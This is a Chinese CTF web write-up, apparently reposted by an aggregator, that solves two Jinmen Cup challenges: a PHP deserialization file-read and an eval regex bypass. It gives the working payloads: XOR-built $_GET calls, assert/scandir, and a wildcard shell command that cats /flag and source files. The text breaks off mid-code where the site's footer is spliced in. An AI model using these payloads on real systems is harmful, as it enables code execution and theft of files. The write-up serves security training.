[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)
Posted Eastmount
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)相关的知识,希望对你有一定的参考价值。
这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut、hate_php、Go0SS、HploadHub和easysql,涉及知识点包括备份文件、SSRF、文件上传、SQL注入、302重定位、代码审计、中国蚁剑等。
参加比赛真的能学到很多知识,同时这些大佬是真的厉害,自己真的菜,我们只做出来6道题,需要学习的知识非常多,也非常感谢师弟们的努力。人生路上,要珍惜好每一天,努力奋斗,做到如数家珍,fighting!同时,作者在外读博求学,想好好阅读论文和做实验,因此已经停更技术文章,但这篇文章还是花时间总结出来,只望对初学者有帮助。
文章目录
最高光的一刻,希望未来能更进一步,毕业后好好搞搞安全技术。
PS:最近网址还可以测试,大家可以试试这五道题目。后续作者会删除网址,保护主办方的服务器,当然他们应该也会关闭。本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
第一题 power_cut
题目描述如下:
- http://119.3.128.126:32800/
该网站打开如下图所示:
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
1.正确解题思路
作者的基本思路如下:
- 第一步,使用dirsearch扫描敏感目录
- 第二步,发现index.php.swp源码文件并下载
- 第三步,将.swp文件恢复成index.php文件
- 第四步,分析源码发现是反序列化漏洞,通过双写简单绕过
(1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。
(2) 接着,通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件 .index.php.swp
。
- -u:指定网址
- -e:指定网站语言
- -w:指定字典
- -r:递归目录(跑出目录后,继续跑目录下面的目录)
- -random-agents:使用随机UA
文件泄露知识总结
备份文件泄露是基础知识,常见备份文件的包括.bak,.swp,.swo等。下面简单总结文件泄露知识点。
- 备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
- 源码压缩包:www.zip、root.zip、web.zip
- git泄露:www.xxx.com/.git/config,之后使用工具GitHack可以获取源码,python GitHack.py URL/.git
- svn泄露:www.xxx.com/.svn/entries,利用工具dvcs-ripper获取源码
- 其它文件泄露
– .idea目录泄露:使用了IntelliJ IDEA的工程,可泄露目录结构
– .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
– .pyc文件:python编译后的字节码文件
(3) 我们下载该源码文件,然后解读源码。
(4) 恢复.swp文件成 index.php
,否则打开是乱码。在Linux系统下使用vim带-r参数编辑,完后wq保存。
- vim -r index.php.swp
- 按下i输入 Esc退出
- 保存至本地
:w /tmp/index.php
文件恢复如下图所示:
下载本地文件如下图所示:
源代码如下所示:
<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\\n";
$this->exitMsg="#--session end--#\\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
(5) 审计发现 logger
类的构造函数中存在文件读取函数 readfile()
,并且参数可控。通过 weblog
类的 __wakeup
魔术方法,实例化 logger
类的一个对象时,触发文件读取漏洞。至于其他函数,经过分析不难看出,是为了迷惑的。
反序列化就需要输入序列化值。
$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));
输出结果如下图所示,如果接着URL拼接仍然无结果。
- O:6:“weblog”:1:{s:10:“weblogfile”;s:9:"/flaflagg";}
因为会把flag替换为空,所以要把该变量的长度改为5。最终payload如下:
?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flaflagg";}
知识总结
个人CTF题目喜欢长篇大论,希望大佬们不喜勿喷,更希望能帮助初学者。该题目你能学到的知识点包括:
- 通过dirsearch扫描网站目录
- 文件泄露常见方法(index.php.swp),以及从备份文件到源码的恢复
- 反序列化和序列化常见漏洞的利用,通过构造双写绕过flag过滤
2.其他错误尝试
当然,由于作者博士以论文为主,所以只是零零散散参加各种安全比赛,也走了很多弯路和尝试。如果你是一名安全初学者,可以多做做CTF题,它都是有一定规律的。
dirb目录扫描,依赖我们的字典库。
BurpSuite拦截请求,查看内容。
第二题 hate_php
题目描述如下:
- http://122.112.214.101:20004/
访问网址如下图所示:
PHP代码如下:
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
这道题目主要考察PHP代码审计和规则绕过,当输入code=123参数会提示如下图所示。
1.绕过数字和字母
首先,我们常见的CTF题代码如下,主要是绕过数字和字母。
- 绕过
preg_match("/[A-Za-z0-9]+/",$code)
上面这段代码绕过方法如下:
- 要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell。
- 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
接着,我们在线构造PHP请求。
POST请求构造
<?php
@$_++;
print($_);
$__=("#"^"|");
print($__);
$__.=("."^"~");
print($__);
$__.=("/"^"`");
print($__);
$__.=("|"^"/");
print($__);
$__.=("{"^"/");
print($__);
?>
输出结果如下图所示:
GET请求构造
<?php
$_="`{{{"^"?<>/";
print($_);
?>
最终我们通过异或构造请求,核心知识点如下:
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>
最终绕过数字和字符串的代码如下,成功获取Flag值。
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))
1.这里的 "`{{{"^"?<>/" 是异或的简短写法,表示_GET
2.${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
3.把_当作参数传进去执行getFlag()
此时输出结果如下图所示:
但如果直接输出到我们这道题目中,它会提示错误“fighting”。因为我们的正则表达式还过滤了特色字符,尤其是下划线(_)和美元符($)。
2.绕过下划线
绕过数字和字母后,我们想试试能不能同时绕过下划线。
- 函数名或预定义变量名有下划线为了避免跟用户自定义的名字冲突,如_GET、_POST等
- 函数名前有2个下划线的是魔术方法,变量名前有一个下划线的一般都是系统变量或常量,如__construct
如果下划线都不给,就意味着不能定义变量,而且也构造不出来数字。我们必须要想其他方法绕过规则,这是大佬给的payload,+号必须加引号。
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
进一步完善的payload如下:
?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))
该payload中{}的内容是异或,异或在{}中被执行了,也就是上面讲的 “`{{{”^"?<>/" 执行了异或操作,相当于_GET。最后eva函数拼接出了字符串 $_GET [’+’] (),然后传入+=getFlag,最后执行函数getFlag()。
注意,这里的代码相当于 ${_GET}'+'
,利用${}中的代码可以执行的特点。
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>
输出:hello world
此时的payload如果直接输入到题目中,它仍然会报错“fighting”,因为美元符号也被过滤了。
- ?code=${"`{{{"^"?<>/"}’+’;&+=getFlag
3.绕过所有规则(正确答案)
正确答案如下所示:
WEB hate_php
思路一:绕过字符和数字
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.失败 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
思路二:绕过字符和数字+下划线(变量_和__)
code=${"`{{{"^"?<>/"}['+']();
1.成功 preg_match("/[A-Za-z0-9]+/",$code)
2.成功 preg_match("/[A-Za-z0-9_@]+/",$code)
3.失败 preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
- ?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))
思路三:绕过字符和数字+下划线(变量_和__)+美元符号($)
1.均失败
------------------------------------------------------
【最终答案】
思路四:采用通配符绕过美元符号($)
?code=?><?=`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E
Cflag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}
输出结果如下图所示:
解题思路:
- 利用通配符调用Linux系统命令来查看flag
- 在Linux系统中可以使用 ? * 等字符来正则匹配字母
- 星号(*)可以用来代替0个及以上任意字符
- 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat
这里参考zering大佬文章,通过 /bin/cat
来读取源码,比如:
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
如果有长度限制,比如小于35且不存在 $ _,则将 $ _ 带入后面一个表达式,同时使用 * 来匹配最后文件。同时,这里的 ?> 闭合了eval自带的 <? 标签。
构造payload如下:
?><?=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>
读取到源码发现存在如下函数:
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
注意,我们可以在本地构建该PHP案例进行测试。
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(以上是关于[网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF文件上传SQL注入代码审计中国蚁剑)的主要内容,如果未能解决你的问题,请参考以下文章